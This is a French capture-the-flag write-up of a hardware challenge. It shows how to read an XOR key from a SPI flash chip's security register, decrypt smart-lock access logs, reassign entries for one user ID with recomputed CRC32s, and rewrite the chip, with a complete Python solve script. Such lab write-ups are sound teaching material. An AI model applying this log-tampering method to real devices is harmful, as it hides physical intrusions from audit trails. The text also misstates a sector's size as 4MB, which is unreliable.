ThaySan
  • πŸ‘‹Bienvenue
    • Avant-propos
  • 🚩CTF & Writeups
    • 2025 | EC2
      • Let's Crax
    • 2025 | HackDay
      • πŸ”‘Cryptographie
        • Drunk Christmas
        • Find Eve 1
        • Well hidden message - Standard Code Encryption
      • πŸ”ŽForensic
        • Copperwire Extraction
        • Distracted user
        • I believe you can't fly
      • 🧠Misc
        • Hello Steve
      • πŸ’ΎProgrammation
        • Lonely bot
        • Lonely bot #2
        • Lonely bot #3
        • Useless Animals Sorting
        • Who cares about SSI anyway ?
      • βš™οΈReverse
        • Just dig
        • Rusty_rev
        • The Cogs of Blackmail
      • 🎭Steganographie
        • It says a lot when there is no music
        • Mona LSB
        • Well hidden message - Insignificant blue
      • 🌐Web
        • Super Website Verificator 3000
        • The analytical engine leak
        • The Watchful Gears: Uncover the Secrets Within
        • Your region's finest
    • 2024 | Efrei - CyberNight
      • πŸ”‘Cryptographie
        • Clavier spΓ©cial
        • Le futur
        • Securechain 30.0
        • Cascade
        • Shared Flag
        • Weird Algorithm
      • 🧊Minecraft
        • Introduction
        • Non aux Bouquins TrafiquΓ©s
        • Redstone Gold Block
      • πŸ’ΎProgrammation
        • Captcha 1.0
        • Intro Γ  la prog
        • Captcha 2.0
      • βš™οΈReverse
        • Reverse the Reverse
        • Find me if you can
        • HuGO Decrypt
        • Kitten eXORcism
        • M30W Vault Tech
        • The Ugandan Labyrinth
      • 🎭StΓ©ganographie
        • Le message
        • bon Le ordre
        • COD FORFLAG
        • Mauvaise note
        • Bruit
        • Un (un ?) drΓ΄le de QR code
        • RandonnΓ©e Guillerette Γ  Bordeaux
      • πŸ’»SystΓ¨me
        • Marche-pied
        • Escabot
        • rΓ©gulation des DonnΓ©es et des Normes de SΓ©curitΓ©
      • 🌐Web
        • cybernight.zip
        • Mon champion prΓ©fΓ©rΓ©
        • Co(mpressed)okies
        • Gitty Mistake
        • JWT Kiddo
        • Parseur Farceur
      • L'enquΓͺte
        • L'enquΓͺte 2/6
        • L'EnquΓͺte 1/6
        • Bienvenue, enquΓͺteur
    • 2024 | Star-Hack
      • πŸ”‘Cryptographie
        • CΓ©sar, mais pas CΓ©sar
        • Double ennui
        • Langage secret
        • Quadratique MystΓ©rieuse
        • ReSultAt
        • Sup3r S3cr3t
        • Warmup
      • πŸ”ŽForensic
        • Cache-cache
        • Fichier ZIP protΓ©gΓ© par mot de passe
        • HEADER
        • Investigation 1
        • Investigation 2
      • 🧠Misc
        • B4l4d3 Urb41n3
        • Bruhh, c'est quoi Γ§a ?
        • Cut13
        • Pika Pika
      • 😈Pwn
        • Pwn0x01
        • Pwn0x02
        • Pwn0x03
      • βš™οΈReverse
        • Assembly
        • Rev0x00
        • Rev0x01
        • Rev0x02
      • 🌐Web
        • Clone Udemy
        • Flask
        • Guess_The_Passcode
        • PHP
        • Tickets
        • Usine de Cookies
    • 2024 | ECW
      • πŸ”‘Cryptographie
        • Course hipPIN
    • 2024 | CTFREI Intro
      • πŸ”‘Cryptographie
        • AES Intro
        • AlΓ©atoire
        • Game of Luck
        • RSA Intro
        • RSA2
        • RSA3
      • πŸ”ŽForensic
        • Mais qui est le photographe ?
        • Mais oΓΉ est passΓ© mon flag ?
        • MΓ©moire 1/4
        • MΓ©moire 2/4
        • MΓ©moire 3/4
        • MΓ©moire 4/4
        • My computer is talking
      • πŸ“šOSINT
        • Avion ✈
        • Geoint
        • Google!
        • Googlint
        • Le pivot
        • Le temps commence maintenant
        • SacrΓ© dossier
        • Socint
      • πŸ’ΎProgrammation
        • Try Me
        • Answer Me
        • Eval Me
        • Time Based
      • 😈Pwn
        • BOF Intro
        • Shop
        • BOF 2
        • BOF win()
      • βš™οΈReverse
        • CrackMe1
        • CrackMe2
        • CrackMe3
        • Hidden...
        • Something changed?
        • ZZZ
      • 🎭StΓ©ganographie
        • Cybernight Γͺtre comme
        • Joli paysage
        • Petit poisson
        • StegHide 'n' Seek
        • Un canard pas comme les autres
      • πŸ’»SystΓ¨me
        • Bash Jail
        • Bash Jail Revenge
        • BrokenBin
        • GTFO Of Here
        • Pyjail
        • Pyjail Revenge
        • Strange input, right?
      • 🌐Web
        • SQLi
        • POST This Money
        • Give me my Flask PIN
        • Access
        • Render
        • RenderV2
        • Touchy
    • 2024 | DefCamp
      • πŸ”‘Cryptographie
        • conv
        • oracle-srl
        • ctr
      • πŸ”ŽForensic
        • i-got-a-virus
        • Alternating
        • call-me-pliz
      • 🧠Misc
        • pyterm
      • πŸ“±Mobile
        • mobisec
      • πŸ“šOSINT
      • 😈Pwn
      • βš™οΈReverse
      • πŸ•΅οΈTraque
      • 🌐Web
        • noogle
        • production-bay
    • 2024 | 404CTF
      • πŸ”‘Cryptographie
        • BΓ©bΓ© nageur
        • Le petit bain
        • Poor Random Number Generator [1/2]
        • Plongeon Rapide Super Artistique
        • J'Γ©ponge donc j'essuie
        • Poor Random Number Generator [2/2]
        • La Seine
        • J'ai glissΓ© chef !
        • SEA - La face cachΓ©e de l'Iceberg
      • πŸ”ŽForensic
        • Le tir aux logs
        • Darts Bank
        • Vaut mieux sΓ©curiser que guΓ©rir
        • De bons croissants au beurre
        • Poids Raw vs. Cours Jette [1/3]
      • πŸ”ŒHardware
        • Serial killer
        • Le soulevΓ© de GND
        • Comment est votre modulation ? [1/2]
        • Sea side channel [1/4] - Introduction
        • Comment est votre modulation ? [2/2]
        • Sea side channel [2/4] - Reconnaissance
        • Sea side channel [3/4] - Mais oΓΉ sont les triggers ?
      • πŸ€–IA
        • Du poison [1/2]
        • Du poison [2/2]
        • Des portes dΓ©robΓ©es
      • 🧠Misc
        • Discord
        • De la friture sur la ligne
        • Bienvenue
        • Revers(ibl)e Engineering [0/2]
      • πŸ“šOSINT
        • LΓ©gende
        • Not on my watch
        • Secret Training [1/2]
      • 😈Pwn
        • Pseudoverflow
        • Jean Pile
        • Mordu du 100m
        • Antismash
      • πŸˆβ€β¬›Quantique
        • Des trains superposΓ©s
        • De l'Γ©coute, pas trΓ¨s discrΓ¨te
        • De la multiplicitΓ© des problΓ¨mes
      • βš™οΈReverse
        • ⭐Échauffement
        • ⭐Intronisation du CHAUSSURE
        • ⭐Bugdroid Fight [1/2]
        • ⭐Revers(ibl)e Engineering [1/2]
        • ⭐Bugdroid Fight [2/2]
        • ⭐Nanocombattants
        • ⭐Revers(ibl)e Engineering [2/2]
        • Le Tableau Noir
      • 🎭StΓ©ganographie
        • ⭐L'absence
        • ⭐Regarder en stΓ©rΓ©o
        • ⭐La Barre Fixe
        • ⭐Le grand Γ©cart
        • ⭐La chute
      • 🌐Web
        • ⭐Vous Γͺtes en RETARD
        • ⭐Le match du siΓ¨cle [1/2]
        • ⭐Exploit mag
        • ⭐Le match du siΓ¨cle [2/2]
        • ⭐LE GORFOU 42
        • ⭐La boutique officielle
    • 2024 | CTFREI - Bordeaux
      • πŸ”‘Cryptographie
        • zzz
      • πŸ“šOSINT
        • Alexis Dumas
        • Back to the bureau
        • Dr Octopus
        • Folie et ambition
        • GeoGuessr
        • Hugo Nelots : prΓ©lude
        • La fin ?
        • La fuite Dumas
        • Un rΓ©seau suspect
      • πŸ’ΎProgrammation
        • Eval me 1
        • Eval me 2
        • Time Based
      • πŸ’»SystΓ¨me
        • Broken Binary 1
        • Broken Binary 2
        • GTFO of here
        • Pyjail 1
        • Pyjail 2
        • Pyjail 3
        • Pyjail 4
      • 🌐Web
        • Au commencement Γ©tait le verb
        • Becadmin
        • PHP Juggler
    • 2024 | HTB - Cyber Apocalypse Challenges
      • πŸ”—Blockchain
        • Lucky Faucet
        • Recovery
        • Russian Roulette
      • πŸ”‘Cryptographie
        • Blunt
        • Dynastic
        • Iced TEA
        • Makeshift
        • Primary Knowledge
      • πŸ”ŽForensic
        • An unusual sighting
        • Data Siege
        • Fake Boost
        • Game Invitation
        • It Has Begun
        • Phreaky
        • Pursue The Tracks
        • Urgent
      • πŸ”ŒHardware
        • BunnyPass
        • Flash-ing Logs
        • Maze
        • Rids
        • The PROM
      • 🧠Misc
        • Character
        • Cubicle Riddle
        • Path of Survival
        • Stop Drop and Roll
        • Unbreakable
        • Were Pickle Phreaks
        • Were Pickle Phreaks Revenge
      • 😈Pwn
        • Delulu
        • Pet Companion
        • Tutorial
        • Writing on the Wall
      • βš™οΈReverse
        • BoxCutter
        • Crushing
        • FollowThePath
        • LootStash
        • MazeOfPower
        • Metagaming
        • PackedAway
        • QuickScan
      • 🌐Web
        • Flag Command
        • KORP Terminal
        • Labyrinth Linguist
        • LockTalk
        • Testimonial
        • TimeKORP
    • 2024 | UNbreakable
      • πŸ”‘Cryptographie
        • start-enc
        • traffic-e
      • πŸ”ŽForensic
        • easy-hide
        • password-manager-is-a-must
      • 🧠Misc
        • rfc-meta
      • πŸ“±Mobile
        • flagen
        • improper-configuration
      • πŸ“‘Network
        • wifi-basic
        • wifiland
      • πŸ“šOSINT
        • persistent-reccon
        • safe-password
      • 😈Pwn
        • intro-to-assembly
      • βš™οΈReverse
        • fake-add
      • 🎭StΓ©ganographie
        • secrets-of-winter
      • 🌐Web
        • pygment
        • sided-curl
        • you-can-trust-me
    • 2023 | EFREI - CyberNight
      • πŸ“šOSINT
        • Invest Now !
      • 😈Pwn
        • NSA Call Converter
      • βš™οΈReverse
        • CryptoVirus
        • WebChaussettes
      • 🌐Web
        • DoctoLeak
    • 2023 | Flag4All
      • πŸ”‘Cryptographie
        • Aes IV
        • Crypt my loop
        • Kentucky fried chicken
        • RSA primes
        • Xor
    • 2022 | EFREI - CyberNight
      • πŸ”‘Cryptographie
        • CoupΓ©-dΓ©calΓ©
        • ExFILEtration
        • Il s'est baissΓ© ou pas
        • J'ai pas rotΓ©
        • Les allemands !
        • RSA Strong Prime generator
      • πŸ”ŽForensic
        • Bomberman 1/2
        • Bomberman 2/2
        • Magic
        • Peu importe le chemin
        • Sniff sniff
        • Souvenir
        • Xray
      • πŸ”ŒHardware
        • Class4
        • Find me 2/3
        • Identify 1/3
        • Yo listen 3/3
      • 🧠Misc
        • Et je tombe tombe tombe
        • Des yeux partout
        • RiGOLe
        • Roomba tricheur
        • Survey
        • Tinder
      • πŸ’ΎProgrammation
        • Repeat
        • Startup
        • Timing
      • βš™οΈReverse
        • Auth 1
        • Auth2
        • Auth3
        • Cryptoroomba
        • Tenet
      • 🎭StΓ©ganographie
        • 50 shades of stephane legar
        • Chess master
        • Deviens champion sers toi de tout ce que tu as appris
        • Drifting in the bits
        • Pyramide
        • Spirale
      • 🌐Web
        • Ah bah c'est du propre
        • Cooking roomba
        • Leaderboard
        • vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
PropulsΓ© par GitBook
Sur cette page
  • Challenge
  • Analyse des fichiers
  • Structure des logs
  • Sauvegarde des logs
  • Echange avec la mΓ©moire flash
  • Fonctionnement gΓ©nΓ©ral
  • Lecture des donnΓ©es
  • Lecture des registres de sΓ©curitΓ©
  • Ecrire dans la mΓ©moire
  • Workflow
  • Script de rΓ©solution

Cet article vous a-t-il Γ©tΓ© utile ?

  1. CTF & Writeups
  2. 2024 | HTB - Cyber Apocalypse Challenges
  3. Hardware

Flash-ing Logs

CatΓ©gorie: Hardware DifficultΓ©: hard Flag: HTB{n07h1n9_15_53cu23_w17h_phy51c41_4cc355!@}

Challenge

Description


After deactivating the lasers, you approach the door to the server room. It seems there's a secondary flash memory inside, storing the log data of every entry. As the system is air-gapped, you must modify the logs directly on the chip to avoid detection. Be careful to alter only the user_id = 0x5244 so the registered logs point out to a different user. The rest of the logs stored in the memory must remain as is.

Ce challenge tourne sur un docker et n'est pas disponible

Analyse des fichiers

Ce challenge concerne une mΓ©moire flash qui enregistres des donnΓ©es Γ  chaque fois qu’une personne ouvre la porte et les sauvegarde sous la forme de logs (une liste d’évΓ©nement). L’objectif est donc de rΓ©ussir Γ  communiquer avec cette mΓ©moire flash pour, dans un premier temps, lire ces donnΓ©es et ensuite les modifier.

Nous avons 2 fichiers :

  • client.py qui permet de communiquer avec la mΓ©moire flash

  • log_event.c qui dΓ©crit le fonctionnement des logs

Comme client.py ne sert qu’à parler avec la mΓ©moire flash, ce fichier ne nous intΓ©resse pas pour le moment. Comprenons plutΓ΄t comment fonctionnent le systΓ¨me de logs pour savoir ce que la mΓ©moire Γ  en elle

Structure des logs

La structure des logs se trouve dans log_event.c

// SmartLockEvent structure definition
typedef struct {
    uint32_t timestamp;   // Timestamp of the event
    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)
    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)
    uint8_t method;       // Numeric code for unlock method
    uint8_t status;       // Numeric code for status (success, failure)
} SmartLockEvent;

Cette structure se compose donc de :

  • uint32_t β†’ 4 bytes pour le timestamp

  • uint8_t β†’ 1 byte pour le type de l’évΓ©nement

  • uint16_t β†’ 2 bytes pour l’identifiant de l’utilisateur

  • uint8_t β†’ 1 byte pour la mΓ©thode utilisΓ©e

  • uint8_t β†’ 1 byte pour le status du rΓ©sultat

On pourrait donc s’atteindre Γ  ce que la structure fasse 4+1+2+1+1 = 9 bytes

Sauf que non, dû à des optimisations du compilateur pour accèder à la mémoire, la structure fait 12 bytes

On peut le voir si l’on compile la structure et qu’on la sΓ©rialise de la mΓͺme faΓ§on que dans le code fournit :

#include <stdio.h>
#include <stdint.h>
#include <string.h>

typedef struct {
    uint32_t timestamp;   // Timestamp of the event
    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)
    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)
    uint8_t method;       // Numeric code for unlock method
    uint8_t status;       // Numeric code for status (success, failure)
} SmartLockEvent;

int main()
{
    SmartLockEvent event = { 
        .timestamp = 0xAAAAAAAA,
        .eventType = 0xBB,
        .userId = 0xCCCC,
        .method = 0xDD,
        .status = 0xEE
    };
    
    uint8_t buffer[sizeof(SmartLockEvent)];
    memset(buffer, 0, sizeof(SmartLockEvent));
    memcpy(buffer, &event, sizeof(SmartLockEvent));
    
    printf("========================\n");
    printf("timestamp: %ld\n", sizeof(event.timestamp));
    printf("eventType: %ld\n", sizeof(event.eventType));
    printf("userId: %ld\n", sizeof(event.userId));
    printf("method: %ld\n", sizeof(event.method));
    printf("status: %ld\n", sizeof(event.status));
    printf("========================\n");
    printf("SmartLockEvent: %ld bytes\n", sizeof(SmartLockEvent));
    printf("========================\n");
    printf("Serialized: ");
    for (int i = 0; i < sizeof(SmartLockEvent); i++) printf("%02X", buffer[i]);
    printf("\n========================\n");

    return 0;
}
========================
timestamp: 4
eventType: 1
userId: 2
method: 1
status: 1
========================
SmartLockEvent: 12 bytes
========================
Serialized: AAAAAAAABB00CCCCDDEE0000
========================

On a un premier padding de 1 byte Γ  la position 5, puis un padding de 2 bytes Γ  la position 10/11. Il faudra donc prendre en compte cela quand on sΓ©rialisera et dΓ©sΓ©rialisera nos donnΓ©es

Sauvegarde des logs

J’ai simplifiΓ© en ne gardant que ce qui intΓ©resse ici, on voit qu’un checksum de type CRC32 (donc 4 bytes) est calculΓ© et ajoutΓ© Γ  la suite des donnΓ©es de l’event, ce qui nous fait un total de 12 + 4 = 16 bytes Γ©crit en mΓ©moire pour chaque Γ©vΓ©nement

int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address) {

		// Buffer for event and CRC
    uint8_t buffer[sizeof(SmartLockEvent) + sizeof(uint32_t)];
    uint32_t crc;
    memset(buffer, 0, sizeof(SmartLockEvent) + sizeof(uint32_t));

    // Serialize the event
    memcpy(buffer, &event, sizeof(SmartLockEvent));

    // Calculate CRC for the serialized event
    crc = calculateCRC32(buffer, sizeof(SmartLockEvent));

    // Append CRC to the buffer
    memcpy(buffer + sizeof(SmartLockEvent), &crc, sizeof(crc));

    // Write the buffer to flash
    write_to_flash(sector, address, buffer, sizeof(buffer));

    return 1;
}

Mais si l’on va voir la fonction write_to_flash on s’aperΓ§oit qu’avant d’Γͺtre Γ©crite en mΓ©moire, les donnΓ©es sont chiffrΓ©es

void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length) {
    uint8_t i;
    uint16_t n;  

    encrypt_data(data, length, 1, address); 

    n =  W25Q128_pageWrite(sector, address, data, 16);
}

Cette fonction encrypt_data va en fait rΓ©cupΓ©rer une clΓ© de 12 bytes Γ  partir de l’adresse 0x52 du registre de sΓ©curitΓ© nΒ°1

Ces 12 bytes sont utilisΓ©s pour XOR les premiers 12 bytes des donnΓ©es, c’est Γ  dire l’évΓ©nement en lui mΓͺme mais pas sont CRC32

void encrypt_data(uint8_t *data, size_t data_length, uint8_t register_number, uint32_t address) {
    uint8_t key[KEY_SIZE];

    read_security_register(register_number, 0x52, key); // register, address

    // Apply encryption to data, excluding CRC, using the key
    for (size_t i = 0; i < data_length - CRC_SIZE; ++i) { // Exclude CRC data from encryption
        data[i] ^= key[i % KEY_SIZE]; // Cycle through  key bytes
    }
}

Echange avec la mΓ©moire flash

On sait donc comment sont enregistrΓ©es les donnΓ©es, il faut maintenant apprendre Γ  discuter avec le W25Q128FV pour les rΓ©cupΓ©rer, les modifier puis les rΓ©injecter

Fonctionnement gΓ©nΓ©ral

La mΓ©moire est composΓ©e de 256 Blocs, chaque bloc est composΓ© de 16 Secteurs et chaque secteur est composΓ© de 16 Pages

  • Une page fait 256 bytes

  • Un secteur fait donc 256 * 16 = 4096 bytes (4KB)

  • Un bloc fait donc 4096 * 16 = 65536 bytes (64KB)

  • La mΓ©moire est de 65536 * 256 = 16777216 (16MB)

Autre point, on peut Γ©crire 256 bytes Γ  la fois et Γ©craser les donnΓ©es par secteur, par demi-bloc, par bloc ou tout

Et enfin, il existe 3 registres de sΓ©curitΓ© de 256 bytes chacun


Lecture des donnΓ©es

Pour lire la mΓ©moire, il faut envoyer 0x03 puis l’adresse de 24 bits Γ  lire

Exemple :

Pour lire le dΓ©but de la mΓ©moire, on envoit 0x03 0x00 0x00 0x00

Mettons Γ  jour notre client.py avec cette nouvelle fonction

# Transforme un adresse en tableau de int (nΓ©cessaire pour la fonction exchange)
def _parse_address(address: int) -> list[int]:
	return [n for n in address.to_bytes(3, byteorder='big')]

# Lecture des donnΓ©es Γ  une adresse prΓ©cise, size reprΓ©sente le nombre d'octet Γ  lire
def read(address: int, size: int) -> bytearray:
	return exchange([0x03, *_parse_address(address)], size)

Lecture des registres de sΓ©curitΓ©

La commande est, dans l’ordre :

  • 0x48

  • 0x00

  • 4 bits contenant le numΓ©ro du registre

  • 4 bits null

  • 1 octets pour dire Γ  partir d’oΓΉ lire le registre

Exemples :

Pour lire le registre de sΓ©curitΓ© nΒ°1 Γ  partir de l’octet 0x52 : 0x48 0x00 0x10 0x52 Pour lire le registre de sΓ©curitΓ© nΒ°2 Γ  partir de l’octet 0x18 : 0x48 0x00 0x20 0x18 Pour lire le registre de sΓ©curitΓ© nΒ°3 Γ  partir de l’octet 0x42 : 0x48 0x00 0x30 0x42

Mettons Γ  jour notre client.py avec cette nouvelle fonction

# Permet de rΓ©cupΓ©rer les donnΓ©es d'un registre de sΓ©curitΓ© Γ  partir d'une adresse, size Γ©tant le nombre d'octets lus
def read_security_register(register: int, address: int, size: int) -> bytearray:
	return exchange([0x48, 0x0, register << 4, address], size)

Ecrire dans la mΓ©moire

Pour modifier les donnΓ©es, on va utiliser la commande 0x02 qui demande les conditions suivantes :

  • La mΓ©moire Γ  l’endroit que l’on veut programmer doit Γͺtre Γ©crasΓ©e avant

  • On doit envoyer l’instruction Write Enable avant

  • Le commande de Page Program se compose dans cette ordre :

    • 0x02

    • Adresse de 24bits oΓΉ l’on souhaite Γ©crite

    • Au moins 1 octets de donnΓ©es Γ  Γ©crire (et maximum 256 octets)

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def page_program(address: int, page: bytearray) -> None:
	write_enable()
	exchange([0x02, *_parse_address(address), *page])

Pour Write Enable, c’est la commande 0x06

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def write_enable() -> None:
	exchange([0x06])

Pour Γ©craser un endroit avant d’écrire dedans, c’est la commande Sector Erase 0x20 suivis de l’adresse 24 bits Γ  Γ©craser. Cette commande doit Γ©galement Γͺtre prΓ©cΓ©dΓ©e de Write Enable. Elle permet d’écraser un secteur complet donc 4MB.

Mettons Γ  jour notre client.py avec cette nouvelle fonction

def sector_erase(address: int) -> None:
	write_enable()
	exchange([0x20, *_parse_address(address)])

Exemple :

On cherche Γ  Γ©crire 0xdeadbeef Γ  l’adresse 0x000018 L’adresse fait partie du premiΓ¨re secteur, donc le secteur Γ  l’adresse 0x000000 On active Write Enable, on Γ©crase le secteur, on active encore Write Enable et enfin on Γ©crit, ce qui donne les commandes :

0x06 (Write Enable) 0x20 0x00 0x00 0x00 (Sector Erase) 0x06 (Write Enable) 0x02 0x00 0x00 0x18 0xde 0xad 0xbe 0xef (Program page)

A noter que si d’autres donnΓ©es existaient dans le secteur, elles ont Γ©taient effacΓ©es. Pour les concerver, il aurait fallu les lire avant, modifier l’adresse 0x000018 de notre cΓ΄tΓ© puis renvoyer l’ensemble modifiΓ© par groupe de 256 bytes (puisque c’est le maximum que l’on peut Γ©crire d’un coup)


Workflow

  1. RΓ©cupΓ©rer la clΓ© de chiffrement Γ  l’adresse 0x52 du registre nΒ°1 de sΓ©curitΓ©

  2. Lire des donnΓ©es dans la mΓ©moire

  3. DΓ©chiffrer les donnΓ©es

  4. DΓ©sΓ©rialiser les donnΓ©es dΓ©chiffrΓ©es pour trouver les logs avec le userID 0x5244 (21060)

  5. Modifier les logs concernΓ©s (ne pas oublier de recalculant le CRC32 si modification)

  6. SΓ©rialiser les nouveaux logs

  7. Chiffrer les nouvelles donnΓ©es

  8. Ecraser le(s) secteur(s) oΓΉ se situe les donnΓ©es que l’on souhaite modifier

  9. Ecrire dedans par paquet de 256 bytes


Script de rΓ©solution

CommenΓ§ons par le fichier model.py dans lequel nous crΓ©ons une classe qui permet de sΓ©rialiser et dΓ©sΓ©rialiser des logs mais aussi de calculer leur CRC32 Γ  partir de leur donnΓ©es

model.py
import binascii
import struct

class SmartLockEvent:
    SIZE = 12
    SIZE_WITH_CRC = 16

    @staticmethod
    def deserialize(raw: bytes) -> "SmartLockEvent":
        return SmartLockEvent(
            struct.unpack('I', raw[:4])[0],
            struct.unpack('B', raw[4:5])[0],
            struct.unpack('H', raw[6:8])[0],    # Il y a le padding d'1 octet avant, donc on skip raw[5]
            struct.unpack('B', raw[8:9])[0],
            struct.unpack('B', raw[9:10])[0],
            struct.unpack('I', raw[12:16])[0]   # Il y a le padding de 2 octets avant, donc on skip raw[10] et raw[11]
        )

    def __init__(self, timeout, event_type, user_id, method, status, crc):
        self.timeout = timeout
        self.event_type = event_type
        self.user_id = user_id
        self.method = method
        self.status = status
        self.crc = crc

    def serialize(self) -> bytearray:
        return bytearray(
            struct.pack('I', self.timeout) +
            struct.pack('B', self.event_type) +
            b'\x00' +                               # On oublie pas le padding d'1 octet Γ  placer
            struct.pack('H', self.user_id) +
            struct.pack('B', self.method) +
            struct.pack('B', self.status) +
            b'\x00\x00' +                           # On oublie pas le padding de 2 octets Γ  placer
            struct.pack('I', self.crc)
        )

    def calculate_crc32(self) -> int:
        return binascii.crc32(self.serialize()[:self.SIZE])

Ensuite on a notre client.py avec les nouvelles fonctions que nous avons ajoutΓ©

client.py
import socket
import json

FLAG_ADDRESS = 0x525252
HOST = '94.237.53.3'
PORT = 56809

def exchange(hex_list: list[int], value: int = 0) -> bytearray:
	usb_device_url = 'ftdi://ftdi:2232h/1'

	# Convert hex list to strings and prepare the command data
	command_data = {
		"tool": "pyftdi",
		"cs_pin": 0,
		"url": usb_device_url,
		"data_out": [hex(x) for x in hex_list],  # Convert hex numbers to hex strings
		"readlen": value
	}

	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
		s.connect((HOST, PORT))

		# Serialize data to JSON and send
		s.sendall(json.dumps(command_data).encode('utf-8'))

		# Receive and process response
		data = b''
		while True:
			data += s.recv(1024)
			if data.endswith(b']'):
				break

		response = json.loads(data.decode('utf-8'))
	# print(f"Received: {response}")
	return bytearray(response)

def _parse_address(address: int) -> list[int]:
	return [n for n in address.to_bytes(3, byteorder='big')]

def read_security_register(register: int, address: int, size: int) -> bytearray:
	return exchange([0x48, 0x0, register << 4, address], size)

def read(address: int, size: int) -> bytearray:
	return exchange([0x03, *_parse_address(address)], size)

def write_enable() -> None:
	exchange([0x06])

def sector_erase(address: int) -> None:
	write_enable()
	exchange([0x20, *_parse_address(address)])

def page_program(address: int, page_data: bytearray) -> None:
	write_enable()
	exchange([0x02, *_parse_address(address), *page_data])

def get_flag() -> str:
	return read(FLAG_ADDRESS, 45).decode()

Et enfin, notre main.py qui contient la logique Γ  faire pour rΓ©soudre notre challenge

main.py
import client
from model import SmartLockEvent

USER_TO_HIDE = 0x5244
REPLACE_USER_ID_BY = 575
PAGE_SIZE = 256

def xor(data: bytearray, key: bytearray, size: int) -> bytearray:
    assert len(data) >= size
    return bytearray([data[i] ^ key[i % len(key)] for i in range(size)]) + data[size:]

def get_logs(key: bytearray):
		# Lecture du premier secteur
    data = client.read(0x0, 4096)
    step = SmartLockEvent.SIZE_WITH_CRC
    events = []
    # Lecture des donnΓ©es 16 bytes par 16 bytes
    for i in range(0, len(data), step):
        print(f"{i:03x}", data[i:i + step].hex(), end='')
        # Si les 16 bytes sont 0xFF, c'est que la mΓ©moire est vide Γ  ce niveau lΓ , ce n'est pas un log
        if data[i:i + step] != b"\xFF" * step:
		        # DΓ©chiffrement des 12 premiers bytes
            data[i:i + step] = xor(data[i:i + step], key, SmartLockEvent.SIZE)
            event = SmartLockEvent.deserialize(data[i:i + step])
            events.append(event)
            print(f" -> {event.__dict__}", end='')
        print()
    return events

def main():
    key = client.read_security_register(1, 0x52, 12)
    print("================    LOGS BEFORE    ================")
    events = get_logs(key)

    # On modifie les Γ©vΓ©nements qui concernent l'utilisateur 0x5244
    for event in events:
        if event.user_id == USER_TO_HIDE:
            event.user_id = REPLACE_USER_ID_BY
            event.crc = event.calculate_crc32()

    # Serialization et chiffrement des nouveaux logs
    new_data = bytearray()
    for event in events:
        new_data += xor(event.serialize(), key, SmartLockEvent.SIZE)

    # Ecrasement du secteur oΓΉ se trouve les logs (ils sont tous dans le premier)
    client.sector_erase(0x0)

    # Par page de 256 bytes, on Γ©crit dans la mΓ©moire
    for i in range(0, len(new_data), PAGE_SIZE):
        client.page_program(i, new_data[i:i+PAGE_SIZE])

